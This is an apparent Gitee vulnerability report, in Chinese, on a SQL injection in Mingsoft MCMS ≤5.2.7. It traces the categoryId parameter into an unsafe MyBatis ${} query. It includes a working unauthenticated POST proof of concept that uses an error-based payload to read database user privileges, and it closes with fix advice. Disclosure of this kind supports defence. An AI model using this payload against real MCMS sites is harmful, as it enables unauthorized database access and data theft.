4.2K Star 24K Fork 7K

GVP铭飞 / MCMS

 / 详情

Mingsoft MCMS v5.2.7 SQL注入

已完成
创建于  
2022-03-03 02:01

一、 cms简介

Mingsoft MCMS是基于SpringBoot 2架构,前端基于vue、element ui。每月28定期更新版本,为开发者提供上百套免费模板,同时提供适用的插件(文章、商城、微信、论坛、会员、评论、支付、积分、工作流、任务调度等...),一套简单好用的开源系统、一整套优质的开源生态内容体系。铭飞的使命就是降低开发成本提高开发效率,提供全方位的企业级开发解决方案

二、 漏洞简介

Mingsoft MCMS v5.2.7版本存在SQL注入,该漏洞位于路由/cms/content/list,参数categoryId存在SQL注入,缺少对于SQL数据的过滤和转义

三、 影响范围

Mingsoft MCMS <=5.2.7
输入图片说明

四、 漏洞分析

位于net/mingsoft/cms/action/ContentAction.java,找到有一处路由**/cms/content/list**代码如下,对第128行IContentBiz.query()进行分析
输入图片说明
我们先看一下IContentBiz接口,IContentBiz接口继承了IBaseBiz接口,那么子类扩展父类之后就可以获得父类IBaseBiz的属性和方法
输入图片说明
接着,我们知道IBaseBiz是一个接口定义了query方法
输入图片说明
BaseBizImpl实现类实现了IBaseBiz接口,我们知道一个类实现了一个或多个接口之后,这个类必须完全实现这些接口里所定义的全部抽象方法(也就是重写这些抽象方法),实现接口与继承父类相似,一样可以获得所实现接口里定义的常量和方法,可以看到IBaseBiz已经重写了query方法

BaseBizImpl实现类中重写了父类的query方法
输入图片说明
我们知道IContentDao.java,IContentDaoimpl.java和McmsAction.java,分别对应映射的对象,对象的实现类和前端控制器,位于net/mingsoft/cms/dao/IContentDao.java中,IContentDao接口继承了IBaseDao接口,那么IContentDao接口就获得了IBaseDao接口的所有方法
输入图片说明
从上图可以看到映射文件中的namespace="net.mingsoft.cms.dao.IContentDao"所绑定的是IContentDao接口,即面向接口编程,mybatis中,
当你的namespace绑定接口后,可以不用写接口实现类,mybatis会通过该绑定自动帮你找到对应要执行的SQL语句,我们知道接口中的方法与映射文件中的SQL语句的ID一一对应,所以我们直接查找IContentDao.xml中SQL语句的id为query,下图可以看到成功定位到第212行。
输入图片说明
分析id等于query的SQL语句,第221行
select id FROM cms_category where find_in_set('${categoryId}',CATEGORY_PARENT_IDS)>0
我们知道mybatis框架find_in_set后是不能用#{},使用${}是拼接,底层调用的是Statement对象,直接将categoryId的属性值拼接进SQL语句,没有任何的过滤,参数categoryId存在SQL注入

五、 证明

不需要cookie凭证,直接构造poc即可利用:

POST /cms/content/list HTTP/1.1
Host:172.20.10.3:8081
Connection: close
Accept: application/json, text/plain, */*
Origin: http://172.20.10.3:8081
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36
Referer: http://172.20.10.3:8081/ms/main.do?
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 197

categoryId=2' AND GTID_SUBSET(CONCAT(0x716a717871,(SELECT MID((IFNULL(CAST(grantee AS NCHAR),0x20)),1,190) FROM INFORMATION_SCHEMA.USER_PRIVILEGES LIMIT 78,1),0x716a627a71),3762) AND 'EIVI'='EIVI

本地搭建环境验证,在路由/cms/content/list下,参数categoryId存在SQL注入,如下图所示通过SQL注入成功获取到用户信息root@localhost
输入图片说明

六、 加固建议

1、正确用法为使用foreach,对like、find_in_set、in和order语句需要使用#
2、增加SQL filter过滤器,对危险参数进行严格校验及过滤。

评论 (0)

nsnyy 创建了任务
nsnyy 修改了描述
nsnyy 修改了描述
铭飞 任务状态待办的 修改为进行中
铭飞 任务状态进行中 修改为已完成
铭飞 里程碑设置为5.2.8
展开全部操作日志

登录 后才可以发表评论

状态
负责人
里程碑
Pull Requests
关联的 Pull Requests 被合并后可能会关闭此 issue
分支
开始日期   -   截止日期
-
置顶选项
优先级
参与者(1)
Java
1
https://gitee.com/mingSoft/MCMS.git
git@gitee.com:mingSoft/MCMS.git
mingSoft
MCMS
MCMS

搜索帮助

344bd9b3 5694891 D2dac590 5694891